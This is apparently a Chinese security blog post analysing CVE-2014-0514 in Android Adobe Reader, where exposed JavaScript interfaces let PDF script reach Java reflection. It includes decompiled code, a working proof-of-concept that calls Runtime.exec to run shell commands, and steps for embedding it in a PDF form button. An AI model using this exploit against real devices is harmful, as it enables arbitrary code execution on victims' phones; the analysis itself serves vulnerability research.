livers · 2014/04/18 14:05

0x00 描述


前几天老外在fd还有exploit-db上,公布了Adobe Reader任意代码执行的漏洞。

漏洞编号: CVE: 2014-0514

AdobeReader安装量比较大,又和浏览器容器不同,分析一下。

Android Adobe Reader 调用webview的不安全的Javascript interfaces。

导致可以执行任意js代码。具体查看WebView中接口隐患与手机挂马利用。

影响版本:

理论上Android Adobe Reader 11.2.0之前的版本多存在,Android version 11.1.3成功利用。

我查看了之前的几个版本例如Android Adobe Reader 11.1.2 如下图,问题也应该存在。

0x01利用


从反编译出来的java代码看

#!java
public class ARJavaScript
{
[...]public ARJavaScript(ARViewerActivity paramARViewerActivity){
[...]this.mWebView.addJavascriptInterface(new ARJavaScriptInterface(this), "_adobereader");this.mWebView.addJavascriptInterface(new ARJavaScriptApp(this.mContext), "_app");this.mWebView.addJavascriptInterface(new ARJavaScriptDoc(), "_doc");this.mWebView.addJavascriptInterface(new ARJavaScriptEScriptString(this.mContext), "_escriptString");this.mWebView.addJavascriptInterface(new ARJavaScriptEvent(), "_event");this.mWebView.addJavascriptInterface(new ARJavaScriptField(), "_field");this.mWebView.setWebViewClient(new ARJavaScript.1(this));this.mWebView.loadUrl("file:///android_asset/javascript/index.html");}
复制代码

_adobereader,_app,_doc,_escriptString,_event,_field这几个变量都会存在任意代码执行的问题.

利用代码和之前一样。

#!java
function execute(bridge, cmd) {return bridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}if(window._app) {try {var path = '/data/data/com.adobe.reader/mobilereader.poc.txt';execute(window._app, ['/system/bin/sh','-c','echo \"Lorem ipsum\" > ' + path]);window._app.alert(path + ' created', 3);} catch(e) {window._app.alert(e, 0);}
}
复制代码

这里不同是构造 恶意的PDF。

首先需要一个PDF编辑器,比如Adobe Acrobat(flash达人pz推荐).

然后添加表单按钮或者书签等,调用事件添加

我这里看了下button最好演示,和老外的那个poc一样基本上.

导入到android虚拟机里,打开,成功复现。

0x02 扩展


一些网盘或浏览器,看看能否调用adobe reader来预览pdf的应用可能会存在这个漏洞,大部分应用都是直接下载pdf到本地。可以再测试一些能预览pdf的邮箱之类的应用。

0x03 修复


新版本的Adobe Reader 11.2.0 [email protected]tInterface,老版本的用户则在adobereader禁用了表单的js执行。 不知道那些杀毒软件能不能检测到这些恶意poc呢 :)

附上poc.pdf

Android Adobe Reader 任意代码执行分析(附POC)相关推荐

  1. php 168任意代码执行漏洞之php的Complex (curly) syntax

    今天了解了php 168的任意代码执行漏洞,Poc: http://192.168.6.128/pentest/cms/php168/member/post.php ?only=1 &show ...

  2. Nette框架未授权任意代码执行漏洞分析

    Nette框架未授权任意代码执行漏洞分析 漏洞介绍: Nette Framework 是个强大,基于组件的事件驱动 PHP 框架,用来创建 web 应用.Nette Framework 是个现代化风格 ...

  3. Foxit PDF Reader/Editor 任意代码执行漏洞

    漏洞描述 Foxit PDF Reader是中国福昕(Foxit)公司的一款PDF阅读器. Foxit PDF Reader/Editor 受影响版本中在对javascript对象执行操作之前未验证对 ...

  4. Apple任意代码执行漏洞

    报告编号:B6-2021-072701 报告来源:360CERT 报告作者:360CERT 更新日期:2021-07-27 0x01 漏洞简述 2021年07月27日,360CERT监测发现Apple ...

  5. 绿盟科技网络安全威胁周报2017.11 关注Apache Struts2 任意代码执行漏洞 CVE-2017-5638...

    绿盟科技发布了本周安全通告,周报编号NSFOCUS-17-11,绿盟科技漏洞库本周新增136条,其中高危63条.本次周报建议大家关注 Apache Struts2 任意代码执行漏洞 CVE-2017- ...

  6. 福昕阅读器曝多个安全漏洞 可导致远程任意代码执行

    来自全球领先的网络解决方案提供商思科的Talos团队在上周四公布了存在于福昕PDF阅读器(Foxit PDF Reader)中的五个安全漏洞,其中有四个漏洞的CVSS 3.0得分都为8.8 ,这意味着 ...

  7. 微信惊现任意代码执行漏洞 360手机卫士提供自检方案

    吓得我赶紧打开微信更了个新..不过啊,  这个漏洞应该更早之前发现的吧 ---------------------------------------------------------------- ...

  8. ecshop 2.x/3.x sql注入/任意代码执行漏洞

    影响版本: Ecshop 2.x Ecshop 3.x-3.6.0 漏洞分析: 该漏洞影响ECShop 2.x和3.x版本,是一个典型的"二次漏洞",通过user.php文件中di ...

  9. Apache Log4j任意代码执行漏洞安全风险通告第三次更新

    奇安信CERT 致力于第一时间为企业级用户提供安全风险通告和有效解决方案. 风险通告 近日,奇安信CERT监测到Apache Log4j存在任意代码执行漏洞.经过分析,该组件存在Java JNDI注入 ...

最新文章

  1. 想要设计自己的微服务?看这篇文章就对了
  2. [转]分布式事务之TCC服务设计和实现注意事项
  3. 这几道 Redis 面试题都不懂,怎么拿 Offer?
  4. gradle发布jar_使用Gradle将JAR工件发布到Artifactory
  5. iops 条带深度 队列深度 NCQ
  6. 网友写的验证码生成方案,可防止绝大多数机械识别。
  7. 网页内容若使用gzip压缩--获得页面源码
  8. halcon 差异模型 异物_基于HALCON的形状匹配算法的研究和心得总结
  9. 图灵机概念的javascript演示
  10. php设置路径别名,设置别名php = / bin / php56,但今天它已恢复为原始路径:/ bin / php...
  11. Go by Example练习
  12. 有感于《成都私车数量超上海》
  13. collapse组件样式 react_antd源码分析之——折叠面板(collapse)
  14. python火车票票价_python的requests库爬取火车票信息和所需价钱
  15. html+input+js双击,JS双击变input框批量修改内容
  16. 研究生查分方式-查分时间大汇总-文都管联院
  17. oracle 00600 kccpb,【案例】Oracle报错ORA-00600 kccpb_sanity_check_2 恢复控制文件过程
  18. 数组,es5,字符串,Math和Date
  19. ntp 服务端配置(/etc/ntp.conf配置详解) -小白实操记录
  20. I'm a Mac:雄狮训练手册

热门文章

  1. Blueprint简介-Android10.0编译系统(六)
  2. Native层HIDL服务的获取原理-Android10.0 HwBinder通信原理(七)
  3. JqueryMobile Demo
  4. 使用 EthPM 包管理工具
  5. swift_034(Swift 动态库/静态库区别)
  6. iOS开发之Masonry框架-源码解析
  7. bzoj1503 郁闷的出纳员(平衡树,思维)
  8. python CST中国标准时间格式转换
  9. MSSQL 漏洞利用与提权
  10. 团队编程项目作业5-小组评分